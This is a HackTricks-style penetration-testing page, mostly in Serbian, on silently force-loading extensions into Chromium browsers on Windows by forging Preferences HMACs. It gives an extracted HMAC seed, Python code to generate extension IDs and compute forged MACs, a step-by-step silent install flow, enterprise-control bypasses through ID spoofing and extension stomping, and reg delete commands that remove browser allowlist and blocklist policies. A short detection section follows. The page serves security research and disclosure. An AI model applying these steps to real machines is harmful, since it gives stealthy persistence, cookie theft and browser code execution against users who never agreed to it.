Forced Extension Load & Preferences MAC Forgery (Windows)

Reading time: 8 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pregled

Diskretna post‑exploitation tehnika koja prisilno učitava proizvoljne ekstenzije u Chromium-based browserima na Windowsu tako što menja korisnikov Preferences/Secure Preferences i falsifikuje važeće HMAC-ove za izmenjene čvorove. Radi protiv Chrome/Chromium, Edge i Brave. Primećeno da važi za Chromium od 130 do 139 u vreme objave. Jednostavan disk write primitive u profilu žrtve dovoljan je da postojano instalira ekstenziju sa punim privilegijama bez command-line flagova ili korisničkih upita.

Ključna ideja: Chromium čuva po‑korisničko stanje ekstenzija u JSON Preferences fajlu i štiti ga HMAC-SHA256. Ako izračunate važeće MAC-ove koristeći ugrađeni seed pretraživača i zapišete ih pored svojih ubačenih čvorova, pretraživač prihvata i aktivira vaš unos ekstenzije.

Gde se nalazi stanje ekstenzije (Windows)

  • Chrome profil koji nije povezan sa domenom:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (sadrži root "super_mac").
  • Chrome profil povezan sa domenom:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Ključni čvorovi koje Chromium koristi:
  • extensions.settings.<extension_id> → ugrađeni manifest/metapodaci za unos ekstenzije
  • protection.macs.extensions.settings.<extension_id> → HMAC za taj JSON blob
  • Chromium ≥134: extensions.ui.developer_mode (boolean) mora biti prisutan i potpisan MAC-om da bi nepakovane ekstenzije bile aktivirane

Pojednostavljena šema (ilustrativno):

json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

Napomene:

  • Edge/Brave održavaju slične strukture. Vrednost protection seed-a može da se razlikuje (primećeno je da Edge/Brave u nekim build-ovima koriste null ili drugi seed).

Extension IDs: path vs key and making them deterministic

Chromium izvodi ID ekstenzije na sledeći način:

  • Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
  • Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p

Da biste zadržali stabilan ID između hostova, ubacite fiksni base64 DER public key u manifest.json pod "key". ID će biti izveden iz tog ključa umesto iz instalacione putanje.

Pomoćni alat za generisanje determinističkog ID-a i para ključeva:

python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

Dodajte generisani javni ključ u manifest.json da biste zaključali ID:

json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Falsifikovanje integriteta Preferences MACs (core bypass)

Chromium štiti preferences pomoću HMAC‑SHA256 nad "path" + serialized JSON value svakog čvora. HMAC seed je ugrađen u browser’s resources.pak i bio je važeći sve do Chromium 139.

Izvucite seed pomoću GRIT pak_util i locirajte kontejner za seed (file id 146 u testiranim buildovima):

bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

Izračunajte MACs (uppercase hex) kao:

text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

Minimalan Python primer:

python
import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")

Write the values under:

  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)

Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.

Implementation tips

  • Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
  • Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.

End‑to‑end silent load flow (Windows)

  1. Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
  2. Create extensions.settings. by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
  3. Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
  4. Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges

Bypassing enterprise controls

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Install an allowed Web Store extension and note its ID
  2. Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
  3. Set that key as manifest.key in your modified extension to reproduce the same ID
  4. Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
  • Extension stomping (ID collision precedence)

  • If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)

  • Neutralizing GPO via HKCU (requires admin)

  • Chrome/Edge policies live under HKCU\Software\Policies*

  • With admin rights, delete/modify policy keys before writing your entries to avoid blocks:

powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

Bučan fallback: učitavanje iz komandne linije

Od Chromium ≥137, --load-extension zahteva takođe prosleđivanje:

text
--disable-features=DisableLoadExtensionCommandLineSwitch

Ovaj pristup je široko poznat i nadgledan (npr. od strane EDR/DFIR; koristi ga commodity malware kao Chromeloader). Preference MAC forging je prikriveniji.

Related flags and more cross‑platform tricks are discussed here:

macOS Chromium Injection

Operativni uticaj

Kada se prihvati, ekstenzija se izvršava sa svojim deklarisanim dozvolama, omogućavajući pristup DOM, presretanje/preusmeravanje zahteva, pristup kolačićima/storage i hvatanje snimaka ekrana — efektivno izvršavanje koda u pretraživaču i trajna perzistencija u korisničkom profilu. Daljinska distribucija preko SMB ili drugih kanala je jednostavna jer je aktivacija vođena podacima preko Preferences.

Detekcija i pojačavanje bezbednosti

  • Pratite non‑Chromium procese koji pišu u Preferences/Secure Preferences, posebno nove čvorove pod extensions.settings uparene sa protection.macs unosima
  • Generišite upozorenje pri neočekivanom prebacivanju extensions.ui.developer_mode i na HMAC‑valid ali neodobrene unose ekstenzija
  • Revidirajte HKCU/HKLM Software\Policies zbog manipulacija; sprovodite politike putem device management/Chrome Browser Cloud Management
  • Prioritetno koristite forced‑install iz store sa verifikovanim publisherima umesto allowlist-a koji se podudaraju samo po extension ID

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks